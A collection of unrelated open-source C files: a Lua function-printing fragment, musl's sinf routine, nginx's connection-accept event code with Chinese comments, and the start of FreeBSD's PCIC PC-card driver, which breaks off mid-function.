PrintFunction(const Proto* f, int full) { int i,n=f->sp->sizep; PrintHeader(f->sp); PrintCode(f); if (full) PrintDebug(f); for (i=0; i<n; i++) PrintFunction(f->p[i],full); }
819960.c
/* origin: FreeBSD /usr/src/lib/msun/src/s_sinf.c */ /* * Conversion to float by Ian Lance Taylor, Cygnus Support, [email protected]. * Optimized by Bruce D. Evans. */ /* * ==================================================== * Copyright (C) 1993 by Sun Microsystems, Inc. All rights reserved. * * Developed at SunPro, a Sun Microsystems, Inc. business. * Permission to use, copy, modify, and distribute this * software is freely granted, provided that this notice * is preserved. * ==================================================== */ #define _GNU_SOURCE #include "libm.h" /* Small multiples of pi/2 rounded to double precision. */ static const double s1pio2 = 1*M_PI_2, /* 0x3FF921FB, 0x54442D18 */ s2pio2 = 2*M_PI_2, /* 0x400921FB, 0x54442D18 */ s3pio2 = 3*M_PI_2, /* 0x4012D97C, 0x7F3321D2 */ s4pio2 = 4*M_PI_2; /* 0x401921FB, 0x54442D18 */ float sinf(float x) { double y; uint32_t ix; int n, sign; GET_FLOAT_WORD(ix, x); sign = ix >> 31; ix &= 0x7fffffff; if (ix <= 0x3f490fda) { /* |x| ~<= pi/4 */ if (ix < 0x39800000) { /* |x| < 2**-12 */ /* raise inexact if x!=0 and underflow if subnormal */ FORCE_EVAL(ix < 0x00800000 ? x/0x1p120f : x+0x1p120f); return x; } return __sindf(x); } if (ix <= 0x407b53d1) { /* |x| ~<= 5*pi/4 */ if (ix <= 0x4016cbe3) { /* |x| ~<= 3pi/4 */ if (sign) return -__cosdf(x + s1pio2); else return __cosdf(x - s1pio2); } return __sindf(sign ? -(x + s2pio2) : -(x - s2pio2)); } if (ix <= 0x40e231d5) { /* |x| ~<= 9*pi/4 */ if (ix <= 0x40afeddf) { /* |x| ~<= 7*pi/4 */ if (sign) return __cosdf(x + s3pio2); else return -__cosdf(x - s3pio2); } return __sindf(sign ? x + s4pio2 : x - s4pio2); } /* sin(Inf or NaN) is NaN */ if (ix >= 0x7f800000) return x - x; /* general argument reduction needed */ n = __rem_pio2f(x, &y); switch (n&3) { case 0: return __sindf(y); case 1: return __cosdf(y); case 2: return __sindf(-y); default: return -__cosdf(y); } }
302562.c
/* * Copyright (C) Igor Sysoev * Copyright (C) Nginx, Inc. */ #include <ngx_config.h> #include <ngx_core.h> #include <ngx_event.h> /* 遍历监听端口列表,删除epoll监听连接事件,不接受请求 */ static ngx_int_t ngx_disable_accept_events(ngx_cycle_t *cycle, ngx_uint_t all); /* 发生了错误,关闭一个连接 */ static void ngx_close_accepted_connection(ngx_connection_t *c); /** 该函数为TCP事件的回调函数,在ngx_event_process_init()中注册 * 监听端口上收到连接请求时的回调函数,即事件handler * 从cycle的连接池里获取连接 * 关键操作 ls->handler(c);调用其他模块的业务handler */ void ngx_event_accept(ngx_event_t *ev) { socklen_t socklen; ngx_err_t err; ngx_log_t *log; ngx_uint_t level; ngx_socket_t s; ngx_event_t *rev, *wev; ngx_sockaddr_t sa; ngx_listening_t *ls; ngx_connection_t *c, *lc; ngx_event_conf_t *ecf; #if (NGX_HAVE_ACCEPT4) static ngx_uint_t use_accept4 = 1; #endif if (ev->timedout) { /* 事件已经超时 */ /* 遍历监听端口列表,重新加入epoll连接事件 */ if (ngx_enable_accept_events((ngx_cycle_t *) ngx_cycle) != NGX_OK) { return; } /* 保证监听不超时 */ ev->timedout = 0; } /* 得到event core模块的配置,检查是否接受多个连接 */ ecf = ngx_event_get_conf(ngx_cycle->conf_ctx, ngx_event_core_module); if (!(ngx_event_flags & NGX_USE_KQUEUE_EVENT)) { ev->available = ecf->multi_accept; } /* 事件的连接对象 */ lc = ev->data; /* 事件对应的监听端口对象 * 这里是一个关键,连接->事件->监听端口 * 决定了要进入stream还是http子系统 */ ls = lc->listening; /* 此时还没有数据可读 */ ev->ready = 0; ngx_log_debug2(NGX_LOG_DEBUG_EVENT, ev->log, 0, "accept on %V, ready: %d", &ls->addr_text, ev->available); do { socklen = sizeof(ngx_sockaddr_t); /* 调用accept接受连接,返回socket对象, * accept4是linux的扩展功能,可以直接把连接的socket设置为非阻塞 */ #if (NGX_HAVE_ACCEPT4) if (use_accept4) { s = accept4(lc->fd, &sa.sockaddr, &socklen, SOCK_NONBLOCK); } else { s = accept(lc->fd, &sa.sockaddr, &socklen); } #else /* NGX_HAVE_ACCEPT4 */ s = accept(lc->fd, &sa.sockaddr, &socklen); #endif /* NGX_HAVE_ACCEPT4 */ if (s == (ngx_socket_t) -1) { err = ngx_socket_errno; if (err == NGX_EAGAIN) { /* EAGAIN,此时已经没有新的连接,用于multi_accept */ ngx_log_debug0(NGX_LOG_DEBUG_EVENT, ev->log, err, "accept() not ready"); return; } level = NGX_LOG_ALERT; if (err == NGX_ECONNABORTED) { level = NGX_LOG_ERR; } else if (err == NGX_EMFILE || err == NGX_ENFILE) { level = NGX_LOG_CRIT; } #if (NGX_HAVE_ACCEPT4) ngx_log_error(level, ev->log, err, use_accept4 ? "accept4() failed" : "accept() failed"); if (use_accept4 && err == NGX_ENOSYS) { use_accept4 = 0; ngx_inherited_nonblocking = 0; continue; } #else /* NGX_HAVE_ACCEPT4 */ ngx_log_error(level, ev->log, err, "accept() failed"); #endif /* NGX_HAVE_ACCEPT4 */ if (err == NGX_ECONNABORTED) { if (ngx_event_flags & NGX_USE_KQUEUE_EVENT) { ev->available--; } if (ev->available) { continue; } } /* 系统的文件句柄数用完了 */ if (err == NGX_EMFILE || err == NGX_ENFILE) { if (ngx_disable_accept_events((ngx_cycle_t *) ngx_cycle, 1) != NGX_OK) { return; } /* 解锁负载均衡,允许其他进程接受请求 */ if (ngx_use_accept_mutex) { if (ngx_accept_mutex_held) { ngx_shmtx_unlock(&ngx_accept_mutex); ngx_accept_mutex_held = 0; } /* 未持有锁,暂时不接受请求 */ ngx_accept_disabled = 1; } else { /* 不使用负载均衡, 等待一下,再次尝试接受请求 */ ngx_add_timer(ev, ecf->accept_mutex_delay); } } return; } #if (NGX_STAT_STUB) (void) ngx_atomic_fetch_add(ngx_stat_accepted, 1); #endif ngx_accept_disabled = ngx_cycle->connection_n / 8 - ngx_cycle->free_connection_n; c = ngx_get_connection(s, ev->log); if (c == NULL) { if (ngx_close_socket(s) == -1) { ngx_log_error(NGX_LOG_ALERT, ev->log, ngx_socket_errno, ngx_close_socket_n " failed"); } return; } c->type = SOCK_STREAM; #if (NGX_STAT_STUB) (void) ngx_atomic_fetch_add(ngx_stat_active, 1); #endif c->pool = ngx_create_pool(ls->pool_size, ev->log); if (c->pool == NULL) { ngx_close_accepted_connection(c); return; } if (socklen > (socklen_t) sizeof(ngx_sockaddr_t)) { socklen = sizeof(ngx_sockaddr_t); } c->sockaddr = ngx_palloc(c->pool, socklen); if (c->sockaddr == NULL) { ngx_close_accepted_connection(c); return; } ngx_memcpy(c->sockaddr, &sa, socklen); log = ngx_palloc(c->pool, sizeof(ngx_log_t)); if (log == NULL) { ngx_close_accepted_connection(c); return; } /* set a blocking mode for iocp and non-blocking mode for others */ if (ngx_inherited_nonblocking) { if (ngx_event_flags & NGX_USE_IOCP_EVENT) { if (ngx_blocking(s) == -1) { ngx_log_error(NGX_LOG_ALERT, ev->log, ngx_socket_errno, ngx_blocking_n " failed"); ngx_close_accepted_connection(c); return; } } } else { if (!(ngx_event_flags & NGX_USE_IOCP_EVENT)) { if (ngx_nonblocking(s) == -1) { ngx_log_error(NGX_LOG_ALERT, ev->log, ngx_socket_errno, ngx_nonblocking_n " failed"); ngx_close_accepted_connection(c); return; } } } *log = ls->log; c->recv = ngx_recv; c->send = ngx_send; c->recv_chain = ngx_recv_chain; c->send_chain = ngx_send_chain; c->log = log; c->pool->log = log; c->socklen = socklen; c->listening = ls; c->local_sockaddr = ls->sockaddr; c->local_socklen = ls->socklen; #if (NGX_HAVE_UNIX_DOMAIN) if (c->sockaddr->sa_family == AF_UNIX) { c->tcp_nopush = NGX_TCP_NOPUSH_DISABLED; c->tcp_nodelay = NGX_TCP_NODELAY_DISABLED; #if (NGX_SOLARIS) /* Solaris's sendfilev() supports AF_NCA, AF_INET, and AF_INET6 */ c->sendfile = 0; #endif } #endif rev = c->read; wev = c->write; wev->ready = 1; if (ngx_event_flags & NGX_USE_IOCP_EVENT) { rev->ready = 1; } if (ev->deferred_accept) { rev->ready = 1; #if (NGX_HAVE_KQUEUE || NGX_HAVE_EPOLLRDHUP) rev->available = 1; #endif } rev->log = log; wev->log = log; /* * TODO: MT: - ngx_atomic_fetch_add() * or protection by critical section or light mutex * * TODO: MP: - allocated in a shared memory * - ngx_atomic_fetch_add() * or protection by critical section or light mutex */ c->number = ngx_atomic_fetch_add(ngx_connection_counter, 1); #if (NGX_STAT_STUB) (void) ngx_atomic_fetch_add(ngx_stat_handled, 1); #endif if (ls->addr_ntop) { c->addr_text.data = ngx_pnalloc(c->pool, ls->addr_text_max_len); if (c->addr_text.data == NULL) { ngx_close_accepted_connection(c); return; } c->addr_text.len = ngx_sock_ntop(c->sockaddr, c->socklen, c->addr_text.data, ls->addr_text_max_len, 0); if (c->addr_text.len == 0) { ngx_close_accepted_connection(c); return; } } #if (NGX_DEBUG) { ngx_str_t addr; u_char text[NGX_SOCKADDR_STRLEN]; ngx_debug_accepted_connection(ecf, c); if (log->log_level & NGX_LOG_DEBUG_EVENT) { addr.data = text; addr.len = ngx_sock_ntop(c->sockaddr, c->socklen, text, NGX_SOCKADDR_STRLEN, 1); ngx_log_debug3(NGX_LOG_DEBUG_EVENT, log, 0, "*%uA accept: %V fd:%d", c->number, &addr, s); } } #endif if (ngx_add_conn && (ngx_event_flags & NGX_USE_EPOLL_EVENT) == 0) { if (ngx_add_conn(c) == NGX_ERROR) { ngx_close_accepted_connection(c); return; } } log->data = NULL; log->handler = NULL; ls->handler(c); /* ngx_http_init_connection */ if (ngx_event_flags & NGX_USE_KQUEUE_EVENT) { ev->available--; } } while (ev->available); } ngx_int_t ngx_trylock_accept_mutex(ngx_cycle_t *cycle) { if (ngx_shmtx_trylock(&ngx_accept_mutex)) { ngx_log_debug0(NGX_LOG_DEBUG_EVENT, cycle->log, 0, "accept mutex locked"); if (ngx_accept_mutex_held && ngx_accept_events == 0) { return NGX_OK; } if (ngx_enable_accept_events(cycle) == NGX_ERROR) { ngx_shmtx_unlock(&ngx_accept_mutex); return NGX_ERROR; } ngx_accept_events = 0; ngx_accept_mutex_held = 1; return NGX_OK; } ngx_log_debug1(NGX_LOG_DEBUG_EVENT, cycle->log, 0, "accept mutex lock failed: %ui", ngx_accept_mutex_held); if (ngx_accept_mutex_held) { if (ngx_disable_accept_events(cycle, 0) == NGX_ERROR) { return NGX_ERROR; } ngx_accept_mutex_held = 0; } return NGX_OK; } ngx_int_t ngx_enable_accept_events(ngx_cycle_t *cycle) { ngx_uint_t i; ngx_listening_t *ls; ngx_connection_t *c; ls = cycle->listening.elts; for (i = 0; i < cycle->listening.nelts; i++) { c = ls[i].connection; if (c == NULL || c->read->active) { continue; } if (ngx_add_event(c->read, NGX_READ_EVENT, 0) == NGX_ERROR) { return NGX_ERROR; } } return NGX_OK; } static ngx_int_t ngx_disable_accept_events(ngx_cycle_t *cycle, ngx_uint_t all) { ngx_uint_t i; ngx_listening_t *ls; ngx_connection_t *c; ls = cycle->listening.elts; for (i = 0; i < cycle->listening.nelts; i++) { c = ls[i].connection; if (c == NULL || !c->read->active) { continue; } #if (NGX_HAVE_REUSEPORT) /* * do not disable accept on worker's own sockets * when disabling accept events due to accept mutex */ if (ls[i].reuseport && !all) { continue; } #endif if (ngx_del_event(c->read, NGX_READ_EVENT, NGX_DISABLE_EVENT) == NGX_ERROR) { return NGX_ERROR; } } return NGX_OK; } static void ngx_close_accepted_connection(ngx_connection_t *c) { ngx_socket_t fd; ngx_free_connection(c); fd = c->fd; c->fd = (ngx_socket_t) -1; if (ngx_close_socket(fd) == -1) { ngx_log_error(NGX_LOG_ALERT, c->log, ngx_socket_errno, ngx_close_socket_n " failed"); } if (c->pool) { ngx_destroy_pool(c->pool); } #if (NGX_STAT_STUB) (void) ngx_atomic_fetch_add(ngx_stat_active, -1); #endif } u_char * ngx_accept_log_error(ngx_log_t *log, u_char *buf, size_t len) { return ngx_snprintf(buf, len, " while accepting new connection on %V", log->data); } #if (NGX_DEBUG) void ngx_debug_accepted_connection(ngx_event_conf_t *ecf, ngx_connection_t *c) { struct sockaddr_in *sin; ngx_cidr_t *cidr; ngx_uint_t i; #if (NGX_HAVE_INET6) struct sockaddr_in6 *sin6; ngx_uint_t n; #endif cidr = ecf->debug_connection.elts; for (i = 0; i < ecf->debug_connection.nelts; i++) { if (cidr[i].family != (ngx_uint_t) c->sockaddr->sa_family) { goto next; } switch (cidr[i].family) { #if (NGX_HAVE_INET6) case AF_INET6: sin6 = (struct sockaddr_in6 *) c->sockaddr; for (n = 0; n < 16; n++) { if ((sin6->sin6_addr.s6_addr[n] & cidr[i].u.in6.mask.s6_addr[n]) != cidr[i].u.in6.addr.s6_addr[n]) { goto next; } } break; #endif #if (NGX_HAVE_UNIX_DOMAIN) case AF_UNIX: break; #endif default: /* AF_INET */ sin = (struct sockaddr_in *) c->sockaddr; if ((sin->sin_addr.s_addr & cidr[i].u.in.mask) != cidr[i].u.in.addr) { goto next; } break; } c->log->log_level = NGX_LOG_DEBUG_CONNECTION|NGX_LOG_DEBUG_ALL; break; next: continue; } } #endif
998611.c
/* * Intel PCIC or compatible Controller driver *------------------------------------------------------------------------- * * Copyright (c) 2001 M. Warner Losh. All rights reserved. * Copyright (c) 1995 Andrew McRae. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. The name of the author may not be used to endorse or promote products * derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * * $FreeBSD: src/sys/pccard/pcic.c,v 1.179 2002/11/27 06:04:49 imp Exp $ */ #include <sys/param.h> #include <sys/bus.h> #include <sys/kernel.h> #include <sys/module.h> #include <sys/sysctl.h> #include <sys/systm.h> #include <machine/clock.h> #include <pccard/i82365.h> #include <pccard/pcic_pci.h> #include <pccard/cardinfo.h> #include <pccard/slot.h> #include <pccard/pcicvar.h> /* Get pnp IDs */ #include <isa/isavar.h> #include <dev/pcic/i82365reg.h> #include <dev/pccard/pccardvar.h> #include "card_if.h" /* * Prototypes for interrupt handler. */ static int pcic_ioctl(struct slot *, int, caddr_t); static int pcic_power(struct slot *); static void pcic_mapirq(struct slot *, int); static timeout_t pcic_reset; static void pcic_resume(struct slot *); static void pcic_disable(struct slot *); static int pcic_memory(struct slot *, int); static int pcic_io(struct slot *, int); devclass_t pcic_devclass; static struct slot_ctrl pcic_cinfo = { pcic_mapirq, pcic_memory, pcic_io, pcic_reset, pcic_disable, pcic_power, pcic_ioctl, pcic_resume, PCIC_MEM_WIN, PCIC_IO_WIN }; /* sysctl vars */ SYSCTL_NODE(_hw, OID_AUTO, pcic, CTLFLAG_RD, 0, "PCIC parameters"); int pcic_override_irq = 0; TUNABLE_INT("machdep.pccard.pcic_irq", &pcic_override_irq); TUNABLE_INT("hw.pcic.irq", &pcic_override_irq); SYSCTL_INT(_hw_pcic, OID_AUTO, irq, CTLFLAG_RD, &pcic_override_irq, 0, "Override the IRQ configured by the config system for all pcic devices"); int pcic_boot_deactivated = 0; TUNABLE_INT("hw.pcic.boot_deactivated", &pcic_boot_deactivated); SYSCTL_INT(_hw_pcic, OID_AUTO, boot_deactivated, CTLFLAG_RD, &pcic_boot_deactivated, 0, "Override the automatic powering up of pccards at boot. This works\n\ around what turns out to be an old bug in the code that has since been\n\ corrected. It is now deprecated and will be removed completely before\n\ FreeBSD 4.8."); /* * CL-PD6722's VSENSE method * 0: NO VSENSE (assume a 5.0V card) * 1: 6710's method (default) * 2: 6729's method */ int pcic_pd6722_vsense = 1; TUNABLE_INT("hw.pcic.pd6722_vsense", &pcic_pd6722_vsense); SYSCTL_INT(_hw_pcic, OID_AUTO, pd6722_vsense, CTLFLAG_RD, &pcic_pd6722_vsense, 1, "Select CL-PD6722's VSENSE method. VSENSE is used to determine the\n\ volatage of inserted cards. The CL-PD6722 has two methods to determine the\n\ voltage of the card. 0 means assume a 5.0V card and do not check. 1 means\n\ use the same method that the CL-PD6710 uses (default). 2 means use the\n\ same method as the CL-PD6729. 2 is documented in the datasheet as being\n\ the correct way, but 1 seems to give better results on more laptops."); /* * Read a register from the PCIC. */ unsigned char pcic_getb_io(struct pcic_slot *sp, int reg) { bus_space_write_1(sp->bst, sp->bsh, PCIC_INDEX, sp->offset + reg); return (bus_space_read_1(sp->bst, sp->bsh, PCIC_DATA)); } /* * Write a register on the PCIC */ void pcic_putb_io(struct pcic_slot *sp, int reg, unsigned char val) { /* * Many datasheets recommend using outw rather than outb to save * a microsecond. Maybe we should do this, but we'd likely only * save 20-30us on card activation. */ bus_space_write_1(sp->bst, sp->bsh, PCIC_INDEX, sp->offset + reg); bus_space_write_1(sp->bst, sp->bsh, PCIC_DATA, val); } /* * Clear bit(s) of a register. */ __inline void pcic_clrb(struct pcic_slot *sp, int reg, unsigned char mask) { sp->putb(sp, reg, sp->getb(sp, reg) & ~mask); } /* * Set bit(s) of a register */ __inline void pcic_setb(struct pcic_slot *sp, int reg, unsigned char mask) { sp->putb(sp, reg, sp->getb(sp, reg) | mask); } /* * Write a 16 bit value to 2 adjacent PCIC registers */ static __inline void pcic_putw(struct pcic_slot *sp, int reg, unsigned short word) { sp->putb(sp, reg, word & 0xFF); sp->putb(sp, reg + 1, (word >> 8) & 0xff); } /* * pc98 cbus cards introduce a slight wrinkle here. They route the irq7 pin * from the pcic chip to INT 2 on the cbus. INT 2 is normally mapped to * irq 6 on the pc98 architecture, so if we get a request for irq 6 * lie to the hardware and say it is 7. All the other usual mappings for * cbus INT into irq space are the same as the rest of the system. */ static __inline int host_irq_to_pcic(int irq) { #ifdef PC98 if (irq == 6) irq = 7; #endif return (irq); } /* * Free up resources allocated so far. */ void pcic_dealloc(device_t dev) { struct pcic_softc *sc; sc = (struct pcic_softc *) device_get_softc(dev); if (sc->slot_poll) untimeout(sc->slot_poll, sc, sc->timeout_ch); if (sc->iores) bus_release_resource(dev, SYS_RES_IOPORT, sc->iorid, sc->iores); if (sc->memres) bus_release_resource(dev, SYS_RES_MEMORY, sc->memrid, sc->memres); if (sc->ih) bus_teardown_intr(dev, sc->irqres, sc->ih); if (sc->irqres) bus_release_resource(dev, SYS_RES_IRQ, sc->irqrid, sc->irqres); } /* * entry point from main code to map/unmap memory context. */ static int pcic_memory(struct slot *slt, int win) { struct pcic_slot *sp = slt->cdata; struct mem_desc *mp = &slt->mem[win]; int reg = win * PCIC_MEMSIZE + PCIC_MEMBASE; if (win < 0 || win >= slt->ctrl->maxmem) { printf("Illegal PCIC MEMORY window request %d\n", win); return (ENXIO); } if (mp->flags & MDF_ACTIVE) { unsigned long sys_addr = (uintptr_t)(void *)mp->start >> 12; if ((sys_addr >> 12) != 0 && (sp->sc->flags & PCIC_YENTA_HIGH_MEMORY) == 0) { printf("This pcic does not support mapping > 24M\n"); return (ENXIO); } /* * Write the addresses, card offsets and length. * The values are all stored as the upper 12 bits of the * 24 bit address i.e everything is allocated as 4 Kb chunks. * Memory mapped cardbus bridges extend this slightly to allow * one to set the upper 8 bits of the 32bit address as well. * If the chip supports it, then go ahead and write those * upper 8 bits. */ pcic_putw(sp, reg, sys_addr & 0xFFF); pcic_putw(sp, reg+2, (sys_addr + (mp->size >> 12) - 1) & 0xFFF); pcic_putw(sp, reg+4, ((mp->card >> 12) - sys_addr) & 0x3FFF); if (sp->sc->flags & PCIC_YENTA_HIGH_MEMORY) sp->putb(sp, PCIC_MEMORY_HIGH0 + win, sys_addr >> 12); /* * Each 16 bit register has some flags in the upper bits. */ if (mp->flags & MDF_16BITS) pcic_setb(sp, reg+1, PCIC_DATA16); if (mp->flags & MDF_ZEROWS) pcic_setb(sp, reg+1, PCIC_ZEROWS); if (mp->flags & MDF_WS0) pcic_setb(sp, reg+3, PCIC_MW0); if (mp->flags & MDF_WS1) pcic_setb(sp, reg+3, PCIC_MW1); if (mp->flags & MDF_ATTR) pcic_setb(sp, reg+5, PCIC_REG); if (mp->flags & MDF_WP) pcic_setb(sp, reg+5, PCIC_WP); /* * Enable the memory window. By experiment, we need a delay. */ pcic_setb(sp, PCIC_ADDRWINE, (1<<win) | PCIC_MEMCS16); DELAY(50); } else { pcic_clrb(sp, PCIC_ADDRWINE, 1<<win); pcic_putw(sp, reg, 0); pcic_putw(sp, reg+2, 0); pcic_putw(sp, reg+4, 0); } return (0); } /* * pcic_io - map or unmap I/O context */ static int pcic_io(struct slot *slt, int win) { int mask, reg; struct pcic_slot *sp = slt->cdata; struct io_desc *ip = &slt->io[win]; if (bootverbose) { printf("pcic: I/O win %d flags %x %x-%x\n", win, ip->flags, ip->start, ip->start + ip->size - 1); } switch (win) { case 0: mask = PCIC_IO0_EN; reg = PCIC_IO0; break; case 1: mask = PCIC_IO1_EN; reg = PCIC_IO1; break; default: printf("Illegal PCIC I/O window request %d\n", win); return (ENXIO); } if (ip->flags & IODF_ACTIVE) { unsigned char x, ioctlv; pcic_putw(sp, reg, ip->start); pcic_putw(sp, reg+2, ip->start + ip->size - 1); x = 0; if (ip->flags & IODF_ZEROWS) x |= PCIC_IO_0WS; if (ip->flags & IODF_WS) x |= PCIC_IO_WS; if (ip->flags & IODF_CS16) x |= PCIC_IO_CS16; if (ip->flags & IODF_16BIT) x |= PCIC_IO_16BIT; /* * Extract the current flags and merge with new flags. * Flags for window 0 in lower nybble, and in upper nybble * for window 1. */ ioctlv = sp->getb(sp, PCIC_IOCTL); DELAY(100); switch (win) { case 0: sp->putb(sp, PCIC_IOCTL, x | (ioctlv & 0xf0)); break; case 1: sp->putb(sp, PCIC_IOCTL, (x << 4) | (ioctlv & 0xf)); break; } DELAY(100); pcic_setb(sp, PCIC_ADDRWINE, mask); DELAY(100); } else { pcic_clrb(sp, PCIC_ADDRWINE, mask); DELAY(100); pcic_putw(sp, reg, 0); pcic_putw(sp, reg + 2, 0); } return (0); } static void pcic_do_mgt_irq(struct pcic_slot *sp, int irq) { u_int32_t reg; if (sp->sc->csc_route == pcic_iw_pci) { /* Do the PCI side of things: Enable the Card Change int */ reg = CB_SM_CD; bus_space_write_4(sp->bst, sp->bsh, CB_SOCKET_MASK, reg); /* * TI Chips need us to set the following. We tell the * controller to route things via PCI interrupts. Also * we clear the interrupt number in the STAT_INT register * as well. The TI-12xx and newer chips require one or the * other of these to happen, depending on what is set in the * diagnostic register. I do both on the theory that other * chips might need one or the other and that no harm will * come from it. If there is harm, then I'll make it a bit * in the tables. */ pcic_setb(sp, PCIC_INT_GEN, PCIC_INTR_ENA); pcic_clrb(sp, PCIC_STAT_INT, PCIC_CSCSELECT); } else { /* Management IRQ changes */ /* * The PCIC_INTR_ENA bit means either "tie the function * and csc interrupts together" or "Route csc interrupts * via PCI" or "Reserved". In any case, we want to clear * it since we're using ISA interrupts. */ pcic_clrb(sp, PCIC_INT_GEN, PCIC_INTR_ENA); irq = host_irq_to_pcic(irq); sp->putb(sp, PCIC_STAT_INT, (irq << PCIC_SI_IRQ_SHIFT) | PCIC_CDEN); } } int pcic_attach(device_t dev) { int i; device_t kid; struct pcic_softc *sc; struct slot *slt; struct pcic_slot *sp; sc = (struct pcic_softc *) device_get_softc(dev); callout_handle_init(&sc->timeout_ch); sp = &sc->slots[0]; for (i = 0; i < PCIC_CARD_SLOTS; i++, sp++) { if (!sp->slt) continue; sp->slt = 0; kid = device_add_child(dev, NULL, -1); if (kid == NULL) { device_printf(dev, "Can't add pccard bus slot %d", i); return (ENXIO); } device_probe_and_attach(kid); slt = pccard_init_slot(kid, &pcic_cinfo); if (slt == 0) { device_printf(dev, "Can't get pccard info slot %d", i); return (ENXIO); } sc->slotmask |= (1 << i); slt->cdata = sp; sp->slt = slt; sp->sc = sc; } sp = &sc->slots[0]; for (i = 0; i < PCIC_CARD_SLOTS; i++, sp++) { if (sp->slt == NULL) continue; pcic_do_mgt_irq(sp, sc->irq); sp->slt->irq = sc->irq; /* Check for changes */ sp->slt->laststate = sp->slt->state = empty; if (pcic_boot_deactivated) { sp->putb(sp, PCIC_POWER, 0); if ((sp->getb(sp, PCIC_STATUS) & PCIC_CD) == PCIC_CD) { sp->slt->state = inactive; pccard_event(sp->slt, card_deactivated); } } else { pcic_do_stat_delta(sp); } } return (bus_generic_attach(dev)); } static int pcic_sresource(struct slot *slt, caddr_t data) { struct pccard_resource *pr; struct resource *r; int flags; int rid = 0; device_t bridgedev = slt->dev; struct pcic_slot *sp = slt->cdata; pr = (struct pccard_resource *)data; pr->resource_addr = ~0ul; /* * If we're using PCI interrupt routing, then force the IRQ to * use and to heck with what the user requested. If they want * to be able to request IRQs, they must use ISA interrupt * routing. If we don't give them an irq, and it is the * pccardd 0,0 case, then just return (giving the "bad resource" * return in pr->resource_addr). */ if (pr->type == SYS_RES_IRQ) { if (sp->sc->func_route >= pcic_iw_pci) { pr->resource_addr = sp->sc->irq; return (0); } if (pr->min == 0 && pr->max == 0) return (0); } /* * Make sure we grok this type. */ switch(pr->type) { default: return (EINVAL); case SYS_RES_MEMORY: case SYS_RES_IRQ: case SYS_RES_IOPORT: break; } /* * Allocate the resource, and align it to the most natural * size. If we get it, then tell userland what we actually got * in the range they requested. */ flags = rman_make_alignment_flags(pr->size); r = bus_alloc_resource(bridgedev, pr->type, &rid, pr->min, pr->max, pr->size, flags); if (r != NULL) { pr->resource_addr = (u_long)rman_get_start(r); bus_release_resource(bridgedev, pr->type, rid, r); } return (0); } /* * ioctl calls - Controller specific ioctls */ static int pcic_ioctl(struct slot *slt, int cmd, caddr_t data) { struct pcic_slot *sp = slt->cdata; struct pcic_reg *preg = (struct pcic_reg *) data; switch(cmd) { default: return (ENOTTY); case PIOCGREG: /* Get pcic register */ preg->value = sp->getb(sp, preg->reg); break; /* Set pcic register */ case PIOCSREG: sp->putb(sp, preg->reg, preg->value); break; case PIOCSRESOURCE: /* Can I use this resource? */ pcic_sresource(slt, data); break; } return (0); } /* * pcic_cardbus_power * * Power the card up, as specified, using the cardbus power * registers to control power. Microsoft recommends that cardbus * vendors support powering the card via cardbus registers because * there is no standard for 3.3V cards. Since at least a few of the * cardbus bridges have minor issues with power via the ExCA registers, * go ahead and do it all via cardbus registers. * * An expamination of the code will show the relative ease that we do * Vpp in comparison to the ExCA case (which may be partially broken). */ static int pcic_cardbus_power(struct pcic_slot *sp, struct slot *slt) { uint32_t power; uint32_t state; /* * If we're doing an auto-detect, and we're in a badvcc state, then * we need to force the socket to rescan the card. We don't do this * all the time because the socket can take up to 200ms to do the deed, * and that's too long to busy wait. Since this is a relatively rare * event (some BIOSes, and earlier versions of OLDCARD caused it), we * test for it special. */ state = bus_space_read_4(sp->bst, sp->bsh, CB_SOCKET_STATE); if (slt->pwr.vcc == -1 && (state & CB_SS_BADVCC)) { /* * Force the bridge to scan the card for the proper voltages * that it supports. */ bus_space_write_4(sp->bst, sp->bsh, CB_SOCKET_FORCE, CB_SF_INTCVS); state = bus_space_read_4(sp->bst, sp->bsh, CB_SOCKET_STATE); /* This while loop can take 100-150ms */ while ((state & CB_SS_CARD_MASK) == 0) { DELAY(10 * 1000); state = bus_space_read_4(sp->bst, sp->bsh, CB_SOCKET_STATE); } } /* * Preserve the clock stop bit of the socket power register. Not * sure that we want to do that, but maybe we should set it based * on the power state. */ power = bus_space_read_4(sp->bst, sp->bsh, CB_SOCKET_POWER); power = 0; /* * vcc == -1 means automatically detect the voltage of the card. * Do so and apply the right amount of power. */ if (slt->pwr.vcc == -1) { if (state & CB_SS_5VCARD) slt->pwr.vcc = 50; else if (state & CB_SS_3VCARD) slt->pwr.vcc = 33; else if (state & CB_SS_XVCARD) slt->pwr.vcc = 22; else if (state & CB_SS_YVCARD) slt->pwr.vcc = 11; if (bootverbose && slt->pwr.vcc != -1) device_printf(sp->sc->dev, "Autodetected %d.%dV card\n", slt->pwr.vcc / 10, slt->pwr.vcc % 10); } switch(slt->pwr.vcc) { default: return (EINVAL); case 0: power |= CB_SP_VCC_0V; break; case 11: power |= CB_SP_VCC_YV; break; case 22: power |= CB_SP_VCC_XV; break; case 33: power |= CB_SP_VCC_3V; break; case 50: power |= CB_SP_VCC_5V; break; } /* * vpp == -1 means use vcc voltage. */ if (slt->pwr.vpp == -1) slt->pwr.vpp = slt->pwr.vcc; switch(slt->pwr.vpp) { default: return (EINVAL); case 0: power |= CB_SP_VPP_0V; break; case 11: power |= CB_SP_VPP_YV; break; case 22: power |= CB_SP_VPP_XV; break; case 33: power |= CB_SP_VPP_3V; break; 